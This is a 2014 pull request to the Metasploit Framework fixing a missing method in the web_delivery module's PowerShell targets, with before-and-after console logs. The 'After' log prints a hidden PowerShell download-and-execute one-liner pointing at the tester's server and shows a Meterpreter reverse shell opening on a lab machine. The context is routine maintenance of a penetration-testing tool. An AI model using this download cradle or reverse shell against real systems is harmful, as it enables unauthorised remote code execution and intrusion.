rapid7/metasploit-framework — pull request #3597 by zeroSteiner (2014-07-31 20:25:11+00:00)
Title: Add PSH Requirements For web_delivery

The recent modification to the ```multi/script/web_delivery``` module (in commit b0a596b4a1f6e01efc8e94000c701caf8c74b17f) has caused an error to be raised when using either of the PSH targets due to the undefined method ```generate_psh_command_line```. This PR fixes the issue and applies some rubocop changes.

Before:
```
msf exploit(web_delivery) > exploit
[*] Exploit running as background job.

[*] Using URL: http://192.168.90.170:8080/m9ASvu
[*] Server started.
[*] Run the following command on the target machine:
[-] Exploit failed: NoMethodError undefined method `generate_psh_command_line' for #
[*] Server stopped.
```

After:
```
msf-git (S:0 J:0) exploit(web_delivery) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.90.1:4444
msf-git (S:0 J:1) exploit(web_delivery) > [*] Using URL: http://0.0.0.0:8080/Qlh2XWUkvq7TSw
[*] Local IP: http://192.168.90.1:8080/Qlh2XWUkvq7TSw
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.90.1:8080/Qlh2XWUkvq7TSw'))

msf-git (S:0 J:1) exploit(web_delivery) >
[*] 192.168.90.131 web_delivery - Delivering Payload
[*] Sending stage (769536 bytes) to 192.168.90.131
[*] Meterpreter session 1 opened (192.168.90.1:4444 -> 192.168.90.131:49161) at 2014-07-31 16:13:28 -0400

msf-git (S:1 J:1) exploit(web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WIN-82GTIDG995P\tester
```

Tasks:
- [ ] Run the old module with a PSH target, see the error
- [ ] Run the module with the changes, see no errors and get a shell

CC: @Meatballs1